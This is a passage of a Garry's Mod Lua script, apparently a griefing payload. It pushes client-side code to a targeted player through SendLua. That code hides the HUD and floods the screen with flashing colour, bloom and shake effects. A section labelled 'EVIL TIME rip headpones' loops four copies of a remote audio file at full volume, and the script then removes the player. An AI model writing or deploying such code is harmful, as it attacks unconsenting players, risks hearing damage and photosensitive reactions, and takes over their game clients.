  492. ScrW() /2 +math.random( -8, 8 ),
  493. ScrH() /2 +math.random( -8, 8 ) -500,
  494. Color( 153, 0, 187, 160 ),
  495. TEXT_ALIGN_CENTER,
  496. TEXT_ALIGN_CENTER,
  497. 3,
  498. Color( 0, 0, 0, 255 )
  499. )
  500.  
  501. draw.SimpleTextOutlined(
  502. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  503. "DermaLarge",
  504. ScrW() /2 +math.random( -8, 8 ),
  505. ScrH() /2 +math.random( -8, 8 ) -540,
  506. Color( 0, 156, 187, 160 ),
  507. TEXT_ALIGN_CENTER,
  508. TEXT_ALIGN_CENTER,
  509. 3,
  510. Color( 0, 0, 0, 255 )
  511. )
  512. end )
  513.  
  514. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  515. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  516.  
  517. surface.PlaySound( "garrysmod/save_load4.wav" )
  518. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  519. ]] )
  520. end )
  521.  
  522. --Disco time
  523. lol:PushAction( 10, function( pPlayer )
  524. local idx = pPlayer:EntIndex()
  525. timer.Create( "beat".. idx, 0.21, 0, function()
  526. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  527. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  528. end )
  529.  
  530.  
  531. lol:SendLua( pPlayer, [[
  532. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  533. local time = 0
  534.  
  535. hook.Add( "Think", "wat", function()
  536. if CurTime() < time then
  537. return
  538. end
  539.  
  540. time = CurTime() +0.05
  541. for i = 1, 16 do
  542. local part = emitter:Add(
  543. "particles/balloon_bit",
  544. LocalPlayer():GetPos() +Vector(
  545. math.random( -256, 256 ),
  546. math.random( -256, 256 ),
  547. 256
  548. )
  549. )
  550.  
  551. if part then
  552. local Size = math.random( 4, 7 )
  553.  
  554. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  555. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  556. part:SetDieTime( 4.5 )
  557. part:SetGravity( Vector(40, 0, -250) )
  558. part:SetLifeTime( 0 )
  559. part:SetStartSize( Size /2 )
  560. part:SetEndSize( Size )
  561. part:SetCollide( true )
  562. end
  563. end
  564. end )
  565. ]] )
  566.  
  567. lol:SendLua( pPlayer, [[
  568. hook.Add( "RenderScreenspaceEffects", "wat", function()
  569. local sinScaler = math.sin( CurTime() )
  570. DrawBloom(
  571. 0,
  572. 3,
  573. sinScaler *math.Rand(1, 8),
  574. sinScaler *math.Rand(1, 8),
  575. 6,
  576. math.Rand(0.5, 2),
  577. math.Rand(0, 0.3),
  578. math.Rand(0, 0.3),
  579. math.Rand(0.5, 1)
  580. )
  581.  
  582. DrawColorModify{
  583. ["$pp_colour_addr"] = 3,
  584. ["$pp_colour_addg"] = 2,
  585. ["$pp_colour_addb"] = 0,
  586. ["$pp_colour_brightness" ] = 0,
  587. ["$pp_colour_contrast" ] = 1,
  588. ["$pp_colour_colour" ] = 1,
  589. ["$pp_colour_mulr" ] = 0,
  590. ["$pp_colour_mulg" ] = 0,
  591. ["$pp_colour_mulb" ] = 0
  592. }
  593. end )
  594.  
  595. local mdl = ClientsideModel( "models/player/corpse1.mdl", RENDERGROUP_BOTH )
  596. mdl:SetNoDraw( true )
  597. local posCache, time = {}, 0
  598.  
  599. hook.Add( "HUDPaint", "dance", function()
  600. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  601. local idx = mdl:LookupSequence("taunt_dance")
  602. mdl.SeqDuration = mdl:SequenceDuration( idx )
  603. mdl.SeqStart = CurTime()
  604. mdl:ResetSequence( idx )
  605. end
  606.  
  607. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  608.  
  609.  
  610. local w, h = 300, 300
  611. local ang = Angle( 0, 0, 0 )
  612.  
  613. for i = 1, 32 do
  614. if CurTime() > time then
  615. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  616. end
  617. local x, y = posCache[i][1], posCache[i][2]
  618.  
  619. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  620. cam.IgnoreZ( true )
  621. render.SuppressEngineLighting( true )
  622.  
  623. render.SetLightingOrigin( mdl:GetPos() )
  624. render.ResetModelLighting( 1, 1, 1 )
  625. render.SetColorModulation( 1, 0, 0 )
  626.  
  627. mdl:DrawModel()
  628.  
  629. render.SuppressEngineLighting( false )
  630. cam.IgnoreZ( false )
  631. cam.End3D()
  632. end
  633.  
  634. if CurTime() > time then
  635. time = CurTime() +0.15
  636. end
  637. end )
  638.  
  639. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  640. ]] )
  641. end )
  642.  
  643. --Let the beat drop
  644. lol:PushAction( 54, function( pPlayer )
  645. lol:SendLua( pPlayer, [[
  646. hook.Add( "GetMotionBlurValues", "wat", function()
  647. return 1, 0, 0, math.sin(CurTime() *13)
  648. end )
  649.  
  650. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  651. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  652. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  653. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  654. end )
  655.  
  656. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  657. render.SetMaterial( Material("cable/blue_elec") )
  658. for i = 1, 32 do
  659. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  660. end
  661. end )
  662.  
  663. timer.Create( "thedrop", 0.42, 0, function()
  664. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  665. end )
  666. ]] )
  667. end )
  668.  
  669. --EVIL TIME rip headpones
  670. lol:PushAction( 175, function( pPlayer )
  671. lol:SendLua( pPlayer, [[
  672. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  673.  
  674. local sounds = {}
  675. for i = 1, 4 do
  676. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  677. sounds[#sounds +1] = pChan
  678. end )
  679. end
  680.  
  681. timer.Create( "asdf", 1, 0, function()
  682. if #sounds ~= 4 then return end
  683. timer.Destroy( "asdf" )
  684. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  685. end )
  686.  
  687. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  688. ]] )
  689.  
  690. pPlayer:Remove()
  691. end )
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